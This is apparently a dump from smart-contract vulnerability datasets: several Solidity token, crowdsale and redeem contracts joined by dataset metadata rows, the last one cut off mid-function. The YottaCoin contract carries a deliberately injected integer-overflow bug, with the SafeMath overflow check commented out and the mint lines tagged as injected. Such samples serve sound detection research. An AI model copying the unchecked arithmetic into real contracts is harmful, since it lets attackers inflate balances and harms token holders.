// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function TokenA(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 107,875 | 10,641 |
e21bd874a36b9a839a7bbb42541fe96ab3dca135bb6788f925f563aa36b2c7fa
| 16,106 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x507a72e3f161ac03cc2b575f1526fdb7c5a3e70a.sol
| 3,475 | 12,494 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner internal {
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
string public constant name = "Oodlz Token";
string public constant symbol = "ODZ";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) {
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
emit Mint(_to, _amount);
emit Transfer(_owner, _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint internal returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
MintableToken token = MintableToken(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
emit Transfer(_token, owner, balance);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
// address where funds are collected
address public wallet;
// amount of raised money in wei
uint256 public weiRaised;
uint256 public tokenAllocated;
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
}
contract ODZCrowdsale is Ownable, Crowdsale, MintableToken {
using SafeMath for uint256;
uint256 public ratePreIco = 250;
uint256 public rateIco = 200;
uint256 public weiMin = 25 ether;
mapping (address => uint256) public deposited;
uint256 public constant INITIAL_SUPPLY = 85 * 10**7 * (10 ** uint256(decimals));
uint256 public fundForSale = 17 * 10**7 * (10 ** uint256(decimals));
uint256 public fundTeam = 1275 * 10**5 * (10 ** uint256(decimals));
uint256 public fundReserv = 5525 * 10**5 * (10 ** uint256(decimals));
uint256 limitPreIco = 34 * 10**6 * (10 ** uint256(decimals));
address public addressFundTeam = 0x3939f99C5f8C9198c7D40E5880ee731F2F6395AC;
address public addressFundReserv = 0xE6a4A7bd59989dA07417cDba8f6a4c29fd4732a3;
uint256 startTimePreIco = 1541044800; // 1 Nov 2018
uint256 endTimePreIco = 1548892800; // 31 Jan 2019
uint256 startTimeIco = 1548997200; // 1 Feb 2019
uint256 public countInvestor;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(address indexed sender, uint256 tokenRaised, uint256 purchasedToken);
event MinWeiLimitReached(address indexed sender, uint256 weiAmount);
event CurrentPeriod(uint period);
event ChangeAddressWallet(address indexed owner, address indexed newAddress, address indexed oldAddress);
event ChangeRate(address indexed owner, uint256 newValue, uint256 oldValue);
constructor(address _owner, address _wallet) public
Crowdsale(_wallet)
{
require(_owner != address(0));
owner = _owner;
transfersEnabled = true;
mintingFinished = false;
totalSupply = INITIAL_SUPPLY;
bool resultMintForOwner = mintForFund(owner);
require(resultMintForOwner);
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
emit TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) {
uint256 currentDate = now;
uint currentPeriod = 0;
currentPeriod = getPeriod(currentDate);
uint256 amountOfTokens = 0;
if(currentPeriod > 0){
if(currentPeriod == 1){
amountOfTokens = _weiAmount.mul(ratePreIco);
if (tokenAllocated.add(amountOfTokens) > limitPreIco) {
currentPeriod = currentPeriod.add(1);
}
}
if(currentPeriod == 2){
amountOfTokens = _weiAmount.mul(rateIco);
}
}
emit CurrentPeriod(currentPeriod);
return amountOfTokens;
}
function getPeriod(uint256 _currentDate) public view returns (uint) {
if(_currentDate < startTimePreIco){
return 0;
}
if(startTimePreIco <= _currentDate && _currentDate <= endTimePreIco){
return 1;
}
if(endTimePreIco < _currentDate && _currentDate < startTimeIco){
return 0;
}
if(startTimeIco <= _currentDate){
return 2;
}
return 0;
}
function deposit(address investor) internal {
deposited[investor] = deposited[investor].add(msg.value);
}
function mintForFund(address _walletOwner) internal returns (bool result) {
result = false;
require(_walletOwner != address(0));
balances[_walletOwner] = balances[_walletOwner].add(fundForSale);
balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam);
balances[addressFundReserv] = balances[addressFundReserv].add(fundReserv);
result = true;
}
function getDeposited(address _investor) public view returns (uint256){
return deposited[_investor];
}
function setWallet(address _newWallet) public onlyOwner {
require(_newWallet != address(0));
address _oldWallet = wallet;
wallet = _newWallet;
emit ChangeAddressWallet(msg.sender, _newWallet, _oldWallet);
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (_weiAmount < weiMin) {
emit MinWeiLimitReached(msg.sender, _weiAmount);
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
emit TokenLimitReached(msg.sender, tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function setRatePreIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = ratePreIco;
ratePreIco = _value;
emit ChangeRate(msg.sender, _value, _oldValue);
}
function setRateIco(uint256 _value) public onlyOwner {
require(_value > 0);
uint256 _oldValue = rateIco;
rateIco = _value;
emit ChangeRate(msg.sender, _value, _oldValue);
}
function setWeiMin(uint256 _value) public onlyOwner {
require(_value > 0);
weiMin = _value;
}
}
| 183,916 | 10,642 |
2c81bdec83ce9cd651ce9bdf1e7b4d74fb544efa2024e75f849ca319dfb614fa
| 20,224 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/af/AFdC7F2ae09209126F4283dBe056B880c580fD6e_Ambassador_Redeem_Contract.sol
| 3,515 | 12,305 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
// File: @openzeppelin/contracts/math/Math.sol
library Math {
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return payable(address(uint160(account)));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
// (bool success,) = recipient.call.value(amount)("");
(bool success,) = recipient.call{value:amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: contractsStrings.sol
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function indexOf(string memory _base, string memory _value)
internal
pure
returns (int) {
return _indexOf(_base, _value, 0);
}
function _indexOf(string memory _base, string memory _value, uint _offset)
internal
pure
returns (int) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length == 1);
for (uint i = _offset; i < _baseBytes.length; i++) {
if (_baseBytes[i] == _valueBytes[0]) {
return int(i);
}
}
return -1;
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
contract Ambassador_Redeem_Contract is Ownable{
using Address for address;
bool public Pause = false;
IERC20 public USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
address private signerAddress = 0x960A4406d23Cb0cced0584B769bde13de60F27c5;
mapping(string => bool) public SwapKey;
event RewardClaimed(address indexed _address, uint indexed _amount, string _data);
constructor(){
}
function SetUSDT(address _address) external onlyOwner{
USDT = IERC20(_address);
}
function SetPause(bool _status) external onlyOwner{
Pause = _status;
}
function SetSigner(address _address) external onlyOwner{
signerAddress = _address;
}
function Claim(string calldata _rawdata,
bytes calldata _sig,
uint _receiveAmount) external {
require(Pause == false, "Contract is paused");
string memory data = Strings.strConcat(_rawdata, _uint2str(_receiveAmount));
require(SwapKey[data] == false, "Key Already Claimed");
require(isValidData(data, _sig), "Invalid Signature");
require(_receiveAmount > 0, "Invalid fund");
SwapKey[data] = true;
USDT.transfer(msg.sender, _receiveAmount);
emit RewardClaimed(msg.sender, _receiveAmount, data);
}
function toBytes(address a) public pure returns (bytes memory b){
assembly {
let m := mload(0x40)
a := and(a, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, a))
mstore(0x40, add(m, 52))
b := m
}
}
function addressToString(address x) internal pure returns (string memory) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i)))));
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2*i] = char(hi);
s[2*i+1] = char(lo);
}
return string(s);
}
function char(bytes1 b) internal pure returns (bytes1 c) {
if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
else return bytes1(uint8(b) + 0x57);
}
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
uint8 i = 0;
bytes memory bytesArray = new bytes(64);
for (i = 0; i < bytesArray.length; i++) {
uint8 _f = uint8(_bytes32[i/2] & 0x0f);
uint8 _l = uint8(_bytes32[i/2] >> 4);
bytesArray[i] = toByte(_f);
i = i + 1;
bytesArray[i] = toByte(_l);
}
return string(bytesArray);
}
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function splitSignature(bytes memory sig)
public
pure
returns (uint8, bytes32, bytes32)
{
require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
function recoverSigner(bytes32 message, bytes memory sig)
public
pure
returns (address)
{
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
function isValidData(string memory _word, bytes memory sig) public view returns(bool){
bytes32 message = keccak256(abi.encodePacked(_word));
return (recoverSigner(message, sig) == signerAddress);
}
function toByte(uint8 _uint8) public pure returns (bytes1) {
if(_uint8 < 10) {
return bytes1(_uint8 + 48);
} else {
return bytes1(_uint8 + 87);
}
}
bytes16 private constant _SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function _uint2str(uint256 value) internal pure returns (string memory) {
uint256 length = Math.log10(value) + 1;
string memory buffer = new string(length);
uint256 ptr;
/// @solidity memory-safe-assembly
assembly {
ptr := add(buffer, add(32, length))
}
while (true) {
ptr--;
/// @solidity memory-safe-assembly
assembly {
mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
}
value /= 10;
if (value == 0) break;
}
return buffer;
}
function Save(address _token, uint _amount) external onlyOwner{
IERC20(_token).transfer(msg.sender, _amount);
}
}
| 25,799 | 10,643 |
9d88e012fbe452bb59c2a0fa1293bb25a871ca21589ffd8007e99d7efa946c66
| 16,696 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0xd9a947789974bad9be77e45c2b327174a9c59d71_integerOverflow.sol
| 4,009 | 15,490 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.7.0;
// File: SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
//assert(c >= _a);
return c;
}
}
// File: FrozenChecker.sol
library FrozenChecker {
using SafeMath for uint256;
struct Rule {
uint256 timeT;
uint8 initPercent;
uint256[] periods;
uint8[] percents;
}
function check(Rule storage self, uint256 totalFrozenValue) internal view returns (uint256) {
if (totalFrozenValue == uint256(0)) {
return 0;
}
//uint8 temp = self.initPercent;
if (self.timeT == uint256(0) || self.timeT > block.timestamp) {
return totalFrozenValue.sub(totalFrozenValue.mul(self.initPercent).div(100));
}
for (uint256 i = 0; i < self.periods.length.sub(1); i = i.add(1)) {
if (block.timestamp >= self.timeT.add(self.periods[i]) && block.timestamp < self.timeT.add(self.periods[i.add(1)])) {
return totalFrozenValue.sub(totalFrozenValue.mul(self.percents[i]).div(100));
}
}
if (block.timestamp >= self.timeT.add(self.periods[self.periods.length.sub(1)])) {
return totalFrozenValue.sub(totalFrozenValue.mul(self.percents[self.periods.length.sub(1)]).div(100));
}
}
}
// File: FrozenValidator.sol
library FrozenValidator {
using SafeMath for uint256;
using FrozenChecker for FrozenChecker.Rule;
struct Validator {
mapping(address => IndexValue) data;
KeyFlag[] keys;
uint256 size;
}
struct IndexValue {
uint256 keyIndex;
FrozenChecker.Rule rule;
mapping (address => uint256) frozenBalances;
}
struct KeyFlag {
address key;
bool deleted;
}
function addRule(Validator storage self, address key, uint8 initPercent, uint256[] memory periods, uint8[] memory percents) internal returns (bool replaced) {
//require(self.size <= 10);
require(key != address(0));
require(periods.length == percents.length);
require(periods.length > 0);
require(periods[0] == uint256(0));
require(initPercent <= percents[0]);
for (uint256 i = 1; i < periods.length; i = i.add(1)) {
require(periods[i.sub(1)] < periods[i]);
require(percents[i.sub(1)] <= percents[i]);
}
require(percents[percents.length.sub(1)] == 100);
FrozenChecker.Rule memory rule = FrozenChecker.Rule(0, initPercent, periods, percents);
uint256 keyIndex = self.data[key].keyIndex;
self.data[key].rule = rule;
if (keyIndex > 0) {
return true;
} else {
//keyIndex = self.keys.length++;
keyIndex = self.keys.length;
self.keys.push();
self.data[key].keyIndex = keyIndex.add(1);
self.keys[keyIndex].key = key;
self.size++;
return false;
}
}
function removeRule(Validator storage self, address key) internal returns (bool success) {
uint256 keyIndex = self.data[key].keyIndex;
if (keyIndex == 0) {
return false;
}
delete self.data[key];
self.keys[keyIndex.sub(1)].deleted = true;
self.size--;
return true;
}
function containRule(Validator storage self, address key) internal view returns (bool) {
return self.data[key].keyIndex > 0;
}
function addTimeT(Validator storage self, address addr, uint256 timeT) internal returns (bool) {
require(timeT > block.timestamp);
self.data[addr].rule.timeT = timeT;
return true;
}
function addFrozenBalance(Validator storage self, address from, address to, uint256 value) internal returns (uint256) {
self.data[from].frozenBalances[to] = self.data[from].frozenBalances[to].add(value);
return self.data[from].frozenBalances[to];
}
function validate(Validator storage self, address addr) internal view returns (uint256) {
uint256 frozenTotal = 0;
for (uint256 i = iterateStart(self); iterateValid(self, i); i = iterateNext(self, i)) {
address ruleaddr = iterateGet(self, i);
FrozenChecker.Rule storage rule = self.data[ruleaddr].rule;
frozenTotal = frozenTotal.add(rule.check(self.data[ruleaddr].frozenBalances[addr]));
}
return frozenTotal;
}
function iterateStart(Validator storage self) internal view returns (uint256 keyIndex) {
return iterateNext(self, uint256(-1));
}
function iterateValid(Validator storage self, uint256 keyIndex) internal view returns (bool) {
return keyIndex < self.keys.length;
}
function iterateNext(Validator storage self, uint256 keyIndex) internal view returns (uint256) {
keyIndex++;
while (keyIndex < self.keys.length && self.keys[keyIndex].deleted) {
keyIndex++;
}
return keyIndex;
}
function iterateGet(Validator storage self, uint256 keyIndex) internal view returns (address) {
return self.keys[keyIndex].key;
}
}
// File: YottaCoin.sol
contract YottaCoin {
using SafeMath for uint256;
using FrozenValidator for FrozenValidator.Validator;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
//-------------------------------- Basic Info -------------------------------------//
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
//-------------------------------- Basic Info -------------------------------------//
//-------------------------------- Admin Info -------------------------------------//
address payable public admin; //Admin address
function changeAdmin(address payable newAdmin) public returns (bool) {
require(msg.sender == admin);
require(newAdmin != address(0));
uint256 balAdmin = balances[admin];
balances[newAdmin] = balances[newAdmin].add(balAdmin);
balances[admin] = 0;
admin = newAdmin;
emit Transfer(admin, newAdmin, balAdmin);
return true;
}
//-------------------------------- Admin Info -------------------------------------//
//-------------------------- Events & Constructor ------------------------------//
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Mint(address indexed target, uint256 value);
event Burn(address indexed target, uint256 value);
// constructor
constructor(string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals) {
name = tokenName;
symbol = tokenSymbol;
decimals = tokenDecimals;
totalSupply = 0;
admin = msg.sender;
// balances[msg.sender] = 0;
// emit Transfer(address(0x0), msg.sender, totalTokenSupply);
}
//-------------------------- Events & Constructor ------------------------------//
//------------------------------- Mint & Burn ----------------------------------//
function mint(address target, uint256 value) public returns (bool) {
require(msg.sender == admin);
require(!frozenAccount[target]);
require(block.timestamp > frozenTimestamp[target]);
balances[target] = balances[target].add(value); //injected INTEGER OVERFLOW OR UNDERFLOW
totalSupply = totalSupply.add(value); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Mint(target, value);
emit Transfer(address(0), target, value);
return true;
}
function burn(address target, uint256 value) public returns (bool) {
require(msg.sender == admin);
require(!frozenAccount[target]);
require(block.timestamp > frozenTimestamp[target]);
require(totalSupply>=value);
require(balances[target].sub(value)>=validator.validate(target));
balances[target] = balances[target].sub(value);
totalSupply = totalSupply.sub(value);
emit Burn(target, value);
emit Transfer(target, address(0), value);
return true;
}
//------------------------------- Mint & Burn ----------------------------------//
//------------------------------ Account lock -----------------------------------//
// 11111111111111111
mapping (address => bool) frozenAccount; //11111111
mapping (address => uint256) frozenTimestamp; // 11111111
function getFrozenTimestamp(address _target) public view returns (uint256) {
return frozenTimestamp[_target];
}
function getFrozenAccount(address _target) public view returns (bool) {
return frozenAccount[_target];
}
function freeze(address _target, bool _freeze) public returns (bool) {
require(msg.sender == admin);
require(_target != admin);
frozenAccount[_target] = _freeze;
return true;
}
function freezeWithTimestamp(address _target, uint256 _timestamp) public returns (bool) {
require(msg.sender == admin);
require(_target != admin);
frozenTimestamp[_target] = _timestamp;
return true;
}
function multiFreeze(address[] memory _targets, bool[] memory _freezes) public returns (bool) {
require(msg.sender == admin);
require(_targets.length == _freezes.length);
uint256 len = _targets.length;
require(len > 0);
